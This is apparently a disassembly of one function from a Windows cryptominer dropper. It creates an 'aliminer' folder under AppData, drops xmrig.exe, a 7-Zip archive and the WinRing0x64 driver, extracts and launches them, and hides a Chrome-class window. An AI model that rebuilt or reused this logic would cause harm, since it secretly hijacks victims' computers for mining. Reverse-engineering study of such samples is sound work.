Function at 0x140001420
Capabilities:
Create directory
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], bl
lea rcx, str.appdata
call fcn.1400098bc
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001472
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140002960
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0x20]
sub rax, r14
cmp rax, 9
jb 0x1400026b5
lea r15, [rbp + 0x10]
mov r12, qword [rbp + 0x10]
mov r13, qword [rbp + 0x28]
cmp r13, 0xf
cmova r15, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rsi, [r14 + 9]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
movabs rax, 0x8000000000000000
lea edx, [rbx + 7]
cmp rsi, rbx
jbe 0x140001557
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000151e
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026c7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001552
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001541
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000267f
jmp 0x1400014ff
test rcx, rcx
je 0x140001550
call fcn.140002ea0
mov rdi, rax
jmp 0x140001552
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.140014320
movsd xmm0, qword [str._aliminer]
movsd qword [r14 + rdi], xmm0
movzx eax, byte [0x14001da08]
mov byte [r14 + rdi + 8], al
mov byte [rdi + rsi], 0
lea rax, [rsp + 0x30]
mov qword [rbp + 0xc0], rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140002820
nop
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.1400012f0
cmp qword [rax + 0x18], 7
jbe 0x1400015cb
mov rax, qword [rax]
mov rcx, rax
call fcn.140009320
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140001613
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000160e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026bb
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rbp - 0x20], xmm0
xor eax, eax
mov word [rbp - 0x30], ax
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140001665
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000165f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026c1
call fcn.140002edc
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400016a2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000169d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026c7
call fcn.140002edc
lea r15, [rbp + 0x10]
cmp r13, 0xf
cmova r15, r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xor eax, eax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov ebx, 0xf
lea rdi, [rbp - 0x70]
cmp rsi, rbx
jbe 0x140001751
mov rbx, rsi
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x140001717
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x140002745
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000174d
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001740
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002685
jmp 0x1400016f8
test rcx, rcx
je 0x14000174a
call fcn.140002ea0
mov rdi, rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.140014320
movsd xmm0, qword [str._aliminer]
movsd qword [rdi + r14], xmm0
movzx eax, byte [0x14001da08]
mov byte [rdi + r14 + 8], al
mov byte [rdi + rsi], 0
movabs rcx, 0x7fffffffffffffff
mov r12, rcx
mov rdi, qword [rbp - 0x60]
sub r12, rdi
cmp r12, 0xa
jb 0x1400026cd
lea r13, [rbp - 0x70]
mov r15, qword [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea r14, [rdi + 0xa]
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001852
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001817
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026d3
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000184d
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001840
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000268b
jmp 0x1400017f8
test rcx, rcx
je 0x14000184a
call fcn.140002ea0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rdi
mov rdx, r13
mov rcx, rsi
call fcn.140014320
movsd xmm0, qword [str.xmrig.exe]
movsd qword [rsi + rdi], xmm0
movzx eax, word [0x14001da20]
mov word [rsi + rdi + 8], ax
mov byte [rsi + r14], 0
lea r8, [0x14001da10]
mov edx, 0x67
lea rcx, [rsp + 0x30]
call fcn.1400011c0
lea r13, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea r14, [rdi + 8]
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001957
mov rbx, r14
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x14000191c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026d9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001952
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001945
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002691
jmp 0x1400018fd
test rcx, rcx
je 0x14000194f
call fcn.140002ea0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rdi
mov rdx, r13
mov rcx, rsi
call fcn.140014320
movabs rax, 0x6578652e617a375c
mov qword [rsi + rdi], rax
mov byte [rsi + r14], 0
lea r8, [0x14001da10]
mov edx, 0x69
lea rcx, [rsp + 0x30]
call fcn.1400011c0
cmp r12, 0xc
jb 0x1400026df
lea r12, [rbp - 0x70]
mov r13, qword [rbp - 0x58]
cmp r13, 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea r14, [rdi + 0xc]
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001a5e
mov rbx, r14
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x140001a23
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026e5
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001a59
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001a4c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002697
jmp 0x140001a04
test rcx, rcx
je 0x140001a56
call fcn.140002ea0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.140014320
movsd xmm0, qword [str.chromium.7z]
movsd qword [rsi + rdi], xmm0
mov eax, dword [0x14001da38]
mov dword [rsi + rdi + 8], eax
mov byte [rsi + r14], 0
lea r8, [0x14001da28]
mov edx, 0x6b
lea rcx, [rsp + 0x30]
call fcn.1400011c0
lea r12, [rbp - 0x70]
cmp r13, 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001b5c
mov rbx, r14
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x140001b21
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026eb
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001b57
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001b4a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000269d
jmp 0x140001b02
test rcx, rcx
je 0x140001b54
call fcn.140002ea0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.140014320
movsd xmm0, qword [str.config.json]
movsd qword [rsi + rdi], xmm0
mov eax, dword [0x14001da50]
mov dword [rsi + rdi + 8], eax
mov byte [rsi + r14], 0
lea r8, [0x14001da40]
mov edx, 0x66
lea rcx, [rsp + 0x30]
call fcn.1400011c0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdi
cmp rax, 0x10
jb 0x1400026f1
lea r12, [rbp - 0x70]
cmp r13, 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea r14, [rdi + 0x10]
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001c6a
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001c2f
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x1400026f7
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001c65
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001c58
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400026a3
jmp 0x140001c10
test rcx, rcx
je 0x140001c62
call fcn.140002ea0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.140014320
movups xmm0, xmmword [str.WinRing0x64.sys]
movups xmmword [rsi + rdi], xmm0
mov byte [rsi + r14], 0
lea r8, [0x14001da58]
mov edx, 0x68
lea rcx, [rsp + 0x30]
call fcn.1400011c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 7
mov qword [rbp - 0x78], 0xf
mov rax, qword [str.cmd.exe]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14001da7c]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14001da7e]
mov byte [rsp + 0x76], al
mov byte [rsp + 0x77], 0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 7
lea rcx, [rsp + 0x50]
call fcn.140002ac0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
mov r8, qword [rsp + 0x70]
mov r11, qword [rbp - 0x78]
cmp r11, 0xf
cmova rcx, r8
mov r10, qword [rbp - 0x80]
add r10, rcx
lea rcx, [rsp + 0x70]
cmp r11, 0xf
cmova rcx, r8
xor esi, esi
mov ebx, esi
mov r9, r10
sub r9, rcx
cmp rcx, r10
cmova r9, rsi
test r9, r9
je 0x140001de7
cmp r9, 0x20
jb 0x140001de7
lea rsi, [rdx - 2]
lea rsi, [rsi + r9*2]
lea rax, [rcx - 1]
add rax, r9
cmp rdx, rax
ja 0x140001d7d
cmp rsi, rcx
jae 0x140001de5
and r9, 0xffffffffffffffe0
movq xmm0, qword [rcx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx], xmm0
movq xmm0, qword [rcx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx + 0x10], xmm0
movq xmm0, qword [rcx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx + 0x20], xmm0
movq xmm0, qword [rcx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx + 0x30], xmm0
add rdx, 0x40
add rcx, 0x20
add rbx, 0x20
cmp rbx, r9
jne 0x140001d81
mov r11, qword [rbp - 0x78]
mov r8, qword [rsp + 0x70]
xor esi, esi
cmp rcx, r10
je 0x140001e0b
nop dword [rax]
movsx eax, byte [rcx]
mov word [rdx], ax
lea rdx, [rdx + 2]
inc rcx
cmp rcx, r10
jne 0x140001df0
mov r11, qword [rbp - 0x78]
mov r8, qword [rsp + 0x70]
cmp r11, 0xf
jbe 0x140001e42
lea rdx, [r11 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140001e3a
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026fd
mov rcx, r8
call fcn.140002edc
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdi
cmp rax, 0x1d
jb 0x140002703
lea r12, [rbp - 0x70]
cmp r13, 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [rdi + 0x1d]
mov ebx, 0xf
lea rsi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001f18
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001ed9
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x140002709
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001f13
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f02
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400026a9
jmp 0x140001eba
test rcx, rcx
je 0x140001f0e
call fcn.140002ea0
jmp 0x140001f10
xor eax, eax
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str._c_7za.exe_x_.chromium.7z__o]
movups xmmword [rsi], xmm0
movsd xmm0, qword [0x14001dae0]
movsd qword [rsi + 0x10], xmm0
mov eax, dword [0x14001dae8]
mov dword [rsi + 0x18], eax
movzx eax, byte [0x14001daec]
mov byte [rsi + 0x1c], al
lea rcx, [rsi + 0x1d]
mov r8, rdi
mov rdx, r12
call fcn.140014320
mov byte [rsi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x4a
jb 0x140001fb1
lea rax, [rcx + 0x4a]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x4a
lea rdx, str.__y___ipjingling.exe___gj_name_ssh_vip.qq.com____gj_type0___gj_speed3
mov rcx, rbx
call fcn.140014320
mov byte [rbx + 0x4a], 0
lea rax, [rsp + 0x30]
jmp 0x140001fc9
mov qword [rsp + 0x20], 0x4a
mov edx, 0x4a
lea rcx, [rsp + 0x30]
call fcn.140002c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.1400012f0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140002040
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000203b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000270f
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db50]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000208e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002089
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002715
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db50]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova r8, qword [rsp + 0x50]
lea r9, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r9, qword [rbp - 0x50]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax + rax]
lea rdx, [0x14001db00]
lea rcx, str.Chrome_WidgetWin_0
call qword [sym.imp.USER32.dll_FindWindowW]
mov rsi, rax
test rax, rax
jne 0x14000210f
lea ecx, [rax + 0xf]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x98967f
jl 0x1400020e0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdi
cmp rax, 0xa
jb 0x14000271b
lea r12, [rbp - 0x70]
cmp r13, 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea r14, [rdi + 0xa]
mov ebx, 0xf
lea rsi, [rbp - 0x30]
cmp r14, rbx
jbe 0x1400021db
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000219d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ea0
test rax, rax
je 0x140002727
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400021d7
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400021c6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400026af
jmp 0x14000217e
test rcx, rcx
je 0x1400021d2
call fcn.140002ea0
jmp 0x1400021d4
xor eax, eax
mov rsi, rax
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.140014320
movsd xmm0, qword [str.xmrig.exe]
movsd qword [rsi + rdi], xmm0
movzx eax, word [0x14001da20]
mov word [rsi + rdi + 8], ax
mov byte [rsi + r14], 0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x70]
call fcn.1400012f0
mov rbx, rax
lea rax, [rsp + 0x50]
cmp rax, rbx
je 0x1400022a2
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x14000226b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002266
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002721
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rsp + 0x60], xmm0
xor edi, edi
mov word [rsp + 0x50], di
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
jmp 0x1400022a4
xor edi, edi
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x1400022e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002721
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x70], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002336
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002727
call fcn.140002edc
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
xor r8d, r8d
lea rcx, [rbp + 0x30]
call fcn.140002ac0
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r8, qword [rbp + 0x30]
lea r10, [rbp - 0x10]
mov r9, qword [rbp + 8]
cmp r9, 0xf
cmova r10, qword [rbp - 0x10]
add r10, qword [rbp]
lea rcx, [rbp - 0x10]
cmp r9, 0xf
cmova rcx, qword [rbp - 0x10]
mov r11, rdi
mov rdx, r10
sub rdx, rcx
cmp rcx, r10
cmova rdx, rdi
test rdx, rdx
je 0x140002443
cmp rdx, 0x20
jb 0x140002443
lea rbx, [r8 - 2]
lea rbx, [rbx + rdx*2]
lea rax, [rcx - 1]
add rax, rdx
cmp r8, rax
ja 0x1400023d1
cmp rbx, rcx
jae 0x140002443
and rdx, 0xffffffffffffffe0
nop word [rax + rax]
movq xmm0, qword [rcx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8], xmm0
movq xmm0, qword [rcx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 + 0x10], xmm0
movq xmm0, qword [rcx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 + 0x20], xmm0
movq xmm0, qword [rcx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rcx, 0x20
add r11, 0x20
cmp r11, rdx
jne 0x1400023e0
mov r9, qword [rbp + 8]
cmp rcx, r10
je 0x140002467
nop dword [rax + rax]
movsx eax, byte [rcx]
mov word [r8], ax
lea r8, [r8 + 2]
inc rcx
cmp rcx, r10
jne 0x140002450
mov r9, qword [rbp + 8]
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1400024ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000272d
call fcn.140002edc
mov r9, qword [rbp + 8]
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
cmp r9, 0xf
jbe 0x140002504
lea rdx, [r9 + 1]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002733
call fcn.140002edc
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova r8, qword [rsp + 0x50]
lea r9, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r9, qword [rbp - 0x50]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140002580
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000257b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002739
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400025d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000273f
call fcn.140002edc
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], di
cmp r13, 0xf
jbe 0x14000261e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140002615
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002745
mov rcx, r15
call fcn.140002edc
nop
mov rax, qword [rbp + 0x28]
cmp rax, 0xf
jbe 0x140002656
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002651
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002679
call fcn.140002edc
xor eax, eax
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140009758
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.1400011a0
int3
call fcn.140009758
int3
call fcn.140009758
int3
call fcn.1400011a0
int3
call fcn.140009758
int3
call fcn.140009758
int3
call fcn.1400011a0
int3
call fcn.140009758
